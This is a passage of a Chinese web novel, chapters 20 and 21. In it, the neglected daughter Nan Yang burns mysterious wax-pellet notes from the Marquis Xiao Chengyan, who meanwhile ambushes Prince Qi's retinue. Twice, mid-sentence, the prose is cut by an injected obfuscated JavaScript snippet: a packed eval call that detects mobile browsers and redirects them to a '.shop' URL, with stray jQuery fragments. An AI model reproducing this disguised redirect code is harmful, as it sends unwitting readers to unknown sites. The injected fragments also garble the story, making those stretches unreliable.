“以卫二娘的勋贵高门出身，不大像是葛布赤足、单独出门采莲蓬的恩人小娘子。寻人告示贴遍平安镇各处，主要还是寻找穷苦出身的小娘子，或许常住山中，猎户、医女，都有可能……” 萧承宴打断道：“以卫家勋贵女的身份，会躺土沟？” 明文焕语塞：“……这个……”一般人还真不会。 萧承宴身形修长矫健，走路却无声无息的，瞬间走去前头。 仿佛丛林当中皮毛油亮舒展的野豹，日头下危险地苏醒过来，并不急着猎捕，而是不紧不慢地舔舐利爪，伸展懒腰。 萧承宴带着细微的愉悦神色上马。 “不急，慢慢地查。”他有的是耐性。 “但我觉得，多半是她。” 20.第 20 章 回到自己的小院后，南泱把天上掉下的亲事告诉阿姆，阿姆震惊地半晌说不出话。 震惊过去，阿姆果然气的浑身发抖。 “好个陆家……他们悔婚又要脸，不愿落下话柄啊。周夫人掌内务的那些年，两边走那么近！陆家讲究，什么都要最好的，太学的笔墨纸砚、吃穿用度哪样不贵？办游园诗会、山头雅集，除了出钱还要寻门路，周夫人把娘家带来的嫁妆不要钱似的往里贴……两边分明默认了！” “周夫人苦心花费多少钱财和心力照顾陆家读书的小郎君们，哪怕亲娘也就这样了，就为了替二娘子定下陆大郎君！他们……他们，陆大郎君学成出仕了，改娶卫家嫡女，塞给你一个陆家旁支子！我……我扯下这张老脸不要，也要去陆家门前拼命！” 南泱赶紧用后背把院门挡住，“冷静点阿姆！你还病着呢。” 阿姆气得快发疯，“二娘子，你亲娘带进卫家的万贯嫁妆，实打实地填进去了！就为了给你打算个好姻缘！现在算什么？他们都欺负你啊。” 南泱扶住阿姆往屋里挪。 “想开点，阿姆，陆家没那么重要，自个儿身体最重要，别为了旁人气坏自己。往好里想，我很快要出嫁了。” 阿姆呛咳止不住，“嫁出去也有高嫁低嫁，嫁人嫁鬼！陆家三郎只是个旁支的族兄弟……” 说到这里人又激动起来，“陆家旁支的儿子，父亲做一辈子的八品小官，儿子能好到哪里去？要前程没前程，要钱没钱，分家都分不到祖产！哪里比得上做山阳太守的大宗嫡长子？！不行，二娘子你得豁出去争——” 南泱在夕阳下停步，抬手指自己，“看看我，阿姆。” 阿姆一怔住嘴，仔仔细细地查看。 夕阳金光映在少女年轻娇艳的面庞，仿佛三月枝头初迎春风的鲜花儿，完全继承了母亲的瓜子脸型和白皙皮肤。 天生一双水汪汪略往下垂的无辜圆眼，近处可以看到细腻肌肤被阳光照出的金灿灿的细小绒毛。 阿姆的心软成了一汪水，目光柔和下来，“二娘子生得是极好的。” 但南泱要阿姆看的，并不是自己的相貌。 她平心静气指着自己，“阿姆看清楚了，我只是个卫家庶女。亲娘发了疯，阿父早不惦记我这女儿，还得指望嫡母筹办嫁妆。” “俗话说，一个锅配一个盖。陆大表兄看不上我，我还看不上他呢。我看陆三郎倒不错。卫家庶女配小官之子，一个拿不出嫁妆，一个没多少前程，也算门当户对。” 阿姆呆了一阵，眼看又要怒骂，南泱开始慢腾腾地掰手指细数：“再说陆大表哥。六年不见面，见面就数落我。” 阿姆：“……” “鄙薄我身上衣裙脏污不洁，丢卫家的脸面。见我躺路边土沟，嘴上不提，满眼都是嫌弃。他这人从小挑剔，挑剔自己，也挑剔别人。我小时候喜欢跟他玩儿，也只是因为他长得好。” 阿姆：“……那现在呢？陆大郎君长得还是好啊，玉树临风。” “长得好的人又不止他一个。我看陆三郎长得也不错。” 南泱回想花厅那场短暂的相看，如实地转述陆家三郎清泽的模样： “个子抽条了，像春天的柳树。性子不太稳重，慌慌张张地偷瞄我，又怂又要偷瞄，像只蹲在水边偷鱼的狸花猫。” 阿姆破涕为笑。 两人有说有笑用完晚食，阿姆病中疲倦，早早睡下了。 南泱一扇扇地关窗。 不知何处忽地抛来一个小黑圆球，在窗棂边弹跳几下，落进屋里青砖地上。 她起先还以为自己眼花，举着油灯四处搜索半天，从长案角下头寻出一枚小小的蜡丸。 南泱疑惑地盯看半天，试探地一捏，蜡丸碎了。 卷成细管的纸条出现在手掌心。 不知道哪里出产的纸，卷起轻薄细小，打开好大一幅。 一笔淋漓狂放的草书展现眼前，遒劲笔锋仿佛划破纸背而去。 南泱：…… 她读到十岁就没再去女夫子的学堂，幼时认认真真练习过正楷体，认识行书体，狂草书读起来便吃力了。 南泱在灯下看一遍，磕磕绊绊地念： “七月流火，九月授衣。 箱……什么有丝罗，为何穿草……什么？服什么衣？还要我蜡丸回复？” 丁香苑僻静，白天还会零星来几个人，入夜后谁都不来，只剩阿姆跟南泱两个。今晚院门是她亲手闩上的。 静谧无人的院子，入夜后莫名其妙出现的蜡丸，纸条像狂草更像鬼画符，内容也很奇怪。 前两句分明是诗经内容，后面几句却完全不对。 ……到底是狂草还是鬼画符？ 说起来，七月十五鬼门开，如今七月末，鬼门还未完全关闭。 会不会有几个冤魂没来得及回返，夜夜天黑后在阳间游荡，寻找可以看懂鬼画符的活人，替他们伸冤做主？ 大晚上的，南泱起了一身细小的鸡皮疙瘩。 看不懂。不想研究。天晚，累了。 南泱把小纸条凑近油灯，滋啦轻响声中，喃喃合十祝祷： “信女肉眼凡胎，看不懂阴间的鬼画符。去找看得懂的阳间人吧，别来找我了。” 毁尸灭迹，浑身轻松地关上最后一扇窗户，拉开薄被躺平睡觉。 屋里很快响起了均匀清浅的鼻息声。 屋外矮墙蹲着一个瞠目结舌的探子。 —— 卫家的消息天黑传出，不到两刻钟便越过长街，传递去主上手里。 潜入卫家的探子跪地回禀：“主上恕罪！卫二娘子她、她展开蜡丸读了一遍，似乎不太满意，读完直接把纸条……烧了。并未有任何回复……” 不太满意？ 萧承宴勒停缰绳，一双狭长黑眸眯了眯。 他这边勒马急停，身后的众多簇拥亲兵齐齐在暗巷勒马。 所有马匹的脚掌都裹住布条，小木棍勒住马嘴，这是军中急行的常用做法，确保深夜行进而不发出任何声音。 头顶若隐若现的月色里，上百匹骏马悄然无声停驻在黑夜深巷，连人带马组合而成的影子显得奇异，在小巷两边的围墙上形成一个个巨大的晃动影子。 所有轻骑屏息静气，听萧承宴开口问： “哪里不满意？” 探子低头不敢看主上的脸色：“卫二娘自语说、她说，‘看不懂阴间的鬼画符，去找看得懂的阳间人吧’ ……” 萧承宴：“……呵。” 狄荣把刀挂去马上，哈哈地笑起来：“主上，卑职就说字该写平整些。卫二娘子被家中苛待，才十岁便不进学了。主上那笔狂草卫二娘子是真看不懂啊！” “说得好。” 萧承宴一点头：“回去你写第二遍，你亲自送去卫府。” 狄荣的笑声立刻停了：“……” 对话声惊动了小巷里几户人家，有院门吱呀打开，两三个妇人探头查看动静。 头顶树影摇曳，小巷围墙上闪过奇异的黑影。 不等妇人们看清深巷里有什么可怖物件经过，黑影便消失在漆黑的巷口。 众轻骑无声无息转出暗巷，前方是一道宽敞长街，大片青瓦围墙连绵不绝。 围墙尽头有一处朱门大户，深夜灯火通明，护卫带刀值守，这里是京城权贵聚集的东平里。 深夜灯火通明的朱门高处，映亮三个黑底泥金的牌匾大字。 【齐王府】 领头的黑马无声无息跑过长街，勒停在三百步外的另一处巷口。 两边人马埋伏完毕，萧承宴勒马停步。 远处齐王府大门灯火通明，几个王府管事在门外殷勤等候。 天子病重，齐王摆出孝子姿态，日日入宫侍疾，黑夜才归。今日也不例外。 人快回来了。 萧承宴等着他。 耳边很快传来大片散乱的马蹄声和喧哗声响，齐王队伍出宫回返。 齐王性情骄狂张扬，日日装模作样的入宫侍疾大约让他极不耐烦，晚上出宫不愿坐车，骑马行在最前头，带领众多亲随抄近路穿窄巷。 毕竟，京城天子脚下，归家在即，领着上百人的队伍，王府左卫长亲自护卫，穿个暗巷还能出什么事呢？ 抄近路穿窄巷，有左右两条巷子可以走。 两边的暗巷里，都暗藏许多双灼亮眼睛。 齐王今晚的运气不怎么好。 他选的那条巷子有萧承宴。 一声悠扬的呼哨自暗巷传出，尾音带出愉悦意味。 黑暗的巷子深处白亮刀光闪过，砰——！闷响传入耳膜。 为首的坐骑倒了下去，马脑袋咕噜噜滚去老远。 齐王摔在地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182647|196312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上，被什么粘稠血腥的液体糊了满脸，惊恐地张嘴欲喊，嘴里也喷溅黏黏糊糊的液体，满嘴都是血腥气。 这一声闷响仿佛战鼓，更多黑影潮水般地涌了上来！ 眼前白光闪动，耳边此起彼伏的闷哼。 齐王懵了一阵，突然反应过来，喷了他满脸满身的血腥液体正是鲜血，马的血，人的血！他身边的人和马正被挨个割喉！ 暗巷深处传来一阵惊恐癫狂的大叫，“大胆！何人袭击本王！救驾！救驾！！” 一匹高大黑马步伐轻快，从黑暗窄巷奔出，沿着宽敞主街往前小跑。 今夜七月二十九，浓云卷积，无星无月，长街黯淡得伸手不见五指，马匹奔近了才显出身形。 马尾巴后面拖了两个人。 被拖拽的两人其实穿得体面，但满身绫罗衣袍被血糊得看不出原本颜色，被绑死狗似的捆扎在一处，动也不动。 不寻常的动静很快吸引来齐王府外的众多仆从注意，许多双眼睛狐疑地转来。 深夜招摇过街，无视宵禁，马拖私刑，桩桩件件都是了不得的贵人做派，众人摸不准来客身份，一时间无人敢声张。 “敢问阁下是……？”有王府管事陪着笑脸迎上几步，远远地喊话。 黑马并不停步，高大影子陷在路边围墙的阴影里。 “路过。” 萧承宴长刀横在马背上，继续纵马前行，路过王府大门，悠然道： “向齐王问好。” 等黑马尾巴后面拖拽的人影终于出现在王府大门周围的灯笼光下，血淋淋地显露出面容，齐王府众人见了鬼一般，惊恐大喊！ “左卫长！护卫齐王殿下入宫的左卫长！” “翟先生！殿下最器重的谋士翟先生！” “左卫长和翟先生被马拖死了！！” “来人哪！召王府卫军！” 齐王府上下仿佛一群无头苍蝇，半晌后，才有众多亲卫护院匆忙牵马奔出府外，鼓噪着追赶出去。 他们很快发现临近的暗巷里满地尸体，都是齐王出行亲随。齐王却不在其中。 满城搜索，直到天明后，众人才在城西一处水沟里发现了面容呆滞的齐王。对众人呼唤毫无反应，喉咙嗬嗬作响，站不起身也说不出话，像是惊吓过度，人吓痴呆了。 袭击人马无声无息地消失在漆黑夜色中。 相隔三个里坊。 今年新开府的淮阳侯府，晚上大设家宴，满座吃酒喝肉正热闹。 “本侯在家中宴饮。谁说本侯深夜出门，他一定恶意污蔑，其心可诛，说不定正是谋害本侯的幕后主使。” 萧承宴下马入府，接过酒杯，一口饮尽，坐去宴席主位上。 “今晚这场家宴，庆贺本侯麾下除了狄将军、明先生，又新添一位侯府家令：杨先生。” 曾经的山阳县令杨慎之，脸色铁青地坐在宴席主客位。 今早他被萧侯拖着入宫面圣，也不知如何弄来一封朝廷敕书，总之，新的委任状已下达。 他，杨慎之，不再是山阳县令，而是萧侯的属臣：淮阳侯家令了。 萧承宴开口祝词：“今夜七月二十九，月黑风高……适合杀猪宰羊。” 众亲卫憋不住的大笑声里，萧承宴不紧不慢地举杯： “第一杯酒，敬今晚好夜色。” “第二杯酒，敬家令杨先生。” “第三杯酒，敬在座豪勇儿郎，诸位满饮杯中酒。” 满桌热闹敬酒，大伙儿齐声祝贺侯府新来的家令杨先生，杨慎之一言不发，来者不拒，举杯哐哐地喝。 ……想死。 喝死算了。 屋外大口喝酒、大块吃肉，宴席正热闹的当儿，狄荣被赶去屋里誊写纸条。 铁塔似的汉子坐在案前，捏着笔管、抓耳挠腮，以横平竖直的正楷字体，替主上抄写第二封蜡丸密信。 抄完捧给萧承宴看，被嫌弃地当场揉成一团扔了。 下半场宴席的喧嚣劝酒声里，改成萧承宴坐在案前，一笔一划、以字帖般端整的正楷字体，抄写投去卫家的第二封蜡丸密信。 ———— 隔天，卫府内宅。 七月的最后一晚，南泱站在窗边，一脸懵地捏着第二颗蜡丸。 厉鬼还怪懂事的…… 知道她看不懂鬼画符，改写正楷字了。 21.第 21 章 七月三十这夜，南泱收到第二个蜡丸时，正在试新衣。 对于冷清惯了的丁香苑来说，今晚不寻常。门户敞开，点起灯笼，人来人往不绝。 嫡母命人抬来半箱布料，几身新衣，嫡母身边的钱媪盯着南泱一件件地试衣。 阿姆陪着笑跟钱媪说话：“主母体谅二娘子，赐下的几身新衣裳料子都是极好的。但钱嬷嬷，你也看到了，新衣裳尺寸不大合身，腰身和肩线都要往里收半寸才好。二娘子今年个头没怎么长，裙摆略长了，也要收一寸……” 钱媪满脸地不耐烦，话里带刺。 “辛嬷嬷倒挑挑拣拣起来了。和陆家相看的日子定在明早，今晚吵着要改衣，哪个来得及改？辛嬷嬷该不会舍不得二娘子出嫁，想找个借口拦住二娘子出门？” 阿姆胸膛剧烈起伏几下，忍着气道：“二娘子能出门相看，那是最好不过的。但这些衣裳确实都不合身。来不及改腰身的话，肩线先收半寸……” 不等阿姆说完，钱媪甩手走了。 等南泱换下不甚合身的新衣，从里屋出来时，满院子的仆妇走得精光，只留下一个衣箱，阿姆坐在衣箱边，气得嘴唇手指都在颤抖。 南泱蹲在衣箱边，安抚地抱了抱阿姆。 “无需和钱媪计较的。捧高踩低的人哪里都不少，看一个气一次，除了气坏自己，有什么好处？阿姆来看这件。” 她在灯笼光下展开刚试过的新裙，“这件雨过天青色的长纱裙颜色合适，明天登山踏青就穿这身吧。” 阿姆满心的愤懑被转开几分，哭笑不得： “什么登山踏青？明天去城东白云山进香，其实就是两家相看。这是京城大户人家议婚的规矩，不这么走一遭，会被人笑的。” 南泱觉得相看是顺带，跟阿姆一起登山踏青才是重点。 “从没去白云山逛过。听说山上的寺庙建得雄伟阔大，素斋又好吃。明早跟阿姆一起去逛。” 阿姆还是坚持捧着新衣去屋里连夜缝改，至少把过长的裙摆改短，免得登山磕绊摔倒。 南泱入自己屋子，正一扇扇地关窗时—— 啪嗒一声轻响，第二枚蜡丸弹跳着蹦进屋里。 她困惑地捡起蜡丸，在灯下捏开，取出蜡丸里密封的纸条，展开又是好大一幅细纸。 这次写的是正楷。 一笔一划、以字帖般端正的笔迹抄录两行小字： 【七月流火，九月授衣； 箱箧有丝罗，为何穿草屐、服葛衣？】 【家中有何不平事，可为汝鸣不平。 蜡丸回复，抛掷窗外即可】 南泱飞快地开窗查看屋外，漆黑院落里还是什么也没有。 字迹换了，但书写内容显然和第一封蜡丸相同。开头【七月流火】，末尾要求回复。 南泱：“……” 知道上封鬼画符她没看懂，特意换了横平竖直的正楷。传信的厉鬼还挺贴心的。 她这是被鬼盯上了？ ……捏着鬼纸条的手指有点抖。 但转而一想：七月鬼门关开，今晚七月三十，七月最后一晚。只要今夜不搭理，再厉害的厉鬼也得回地府…… 啊，没事了。 这次看得懂，还是不想追究。天晚，折腾得厉害，累了。 南泱把小纸条凑近油灯，熟练地毁尸灭迹。 滋啦轻响声中，小声合十祝祷： “家里一直都那样，无需替我鸣不平。七月最后一天，别来找我了。信女屋里没有香烛，去寻些香火吃不好吗？吃饱喝足好回程，阿弥陀佛。” 浑身轻松地关上最后一扇窗户，拉开薄被躺平睡觉。 屋里很快响起均匀清浅的鼻息声。 屋外矮墙蹲着摸下巴沉思的狄荣。 —— “嗐，主上，你听听二娘子的原话。” 萧承宴第二天清晨起来，在寝屋穿戴洗漱的功夫，走去哪儿狄荣跟去哪儿，一路都在念叨。 “ ‘家里一直都那样，无需替我鸣不平’。卫二娘子被冷待惯了，对家里半分期待都不剩。相看这种大事，穿一身不合身的衣裳，她乳母气得半死，卫二娘子还能心平气和地劝慰乳母。” “她把我当鬼，还催我趁七月最后一夜吃饱了再回去。二娘子这样的良善小娘子——” 萧承宴把犀皮带扣在腰间，扎紧金钩，眉眼隐含乖戾杀气。 相看？ 陆三郎这种墙角旮旯一抓一把的野草货色，也值得正经相看？ “外人面前不哭不闹，若无其事。等关窗熄灯，她躲自己屋里也没哭？ ” 狄荣实诚地答：“没哭！末 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186703|196312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将凑去窗下听了一阵，卫二娘很快睡着啦。睡得挺香。” 萧承宴冷笑一声。 明文焕坐在外间候着，听到这里感觉不对，赶紧打圆场： “古有贤士安贫乐道，今有卫二娘安然好眠。呵呵呵，卫二娘子显然没把今日和陆三郎的一场相看放在心上啊。” 萧承宴寒凉神色缓和几分，微微点头，取过面巾擦脸，不冷不热地评价一句： “卫二娘心太大。” 【箱箧有丝罗，为何穿草屐、服葛衣？】 “这句问话她始终避而不答。再跑一趟卫家，再问，直到答案问出口为止。” 狄荣：“得令！” 明文焕委婉地劝说：“平安镇卫宅的搜查结果快回来了。说不定恩人小娘子不是卫二娘子呢？卫二娘子也就无法回答。又或者，卫二娘子真的以为蜡丸来自七月厉鬼？因此不敢回答。萧侯，稍安勿躁啊。” 萧承宴抓起长刀走出屋外。宫里派来的内监等候好一阵了。 齐王七月二十九夜被吓掉了魂，齐王府一整天都在折腾，屋外驱鬼招魂、和尚道士轮番上阵；屋里七八个御医一字排开、扎针熬药补气灌汤。 总之，整整一天之后，齐王终于从浑浑噩噩的状态恢复几分。 今日大清早，齐王哭嚎遇刺，行刺者淮阳侯！震惊朝廷内外。 “奴婢传圣旨，召淮阳侯入宫询问……” 萧承宴拨开传旨内监，抬脚往外走。 “本侯回京多日，始终不能面见天子。天子何在？龙体安好否？” “之前传出的假密旨，险些害了本侯性命，今日又传圣旨。呵，本侯怕圣旨还是假的，被奸人骗进宫暗害了。” 内监抓着圣旨无助地追出几步，“萧侯，使不得！速速接旨啊……”压根没人理他。 走出大半个庭院，萧承宴忽地停下，身后的狄荣和明文焕紧跟着一个停步，听前方的主上嗤笑一声——话锋又转去卫家。 “她确实心大。家里让嫁便嫁，夫婿人选从陆家嫡长子换成旁支的族兄弟，她居然不哭不闹，还能安心入睡。” 倚仗着心大，什么事都能视而不见？ 想去白云山相看？ 萧承宴不回头地吩咐下去。 “备马。本侯正好有空，一起去白云山凑个热闹。”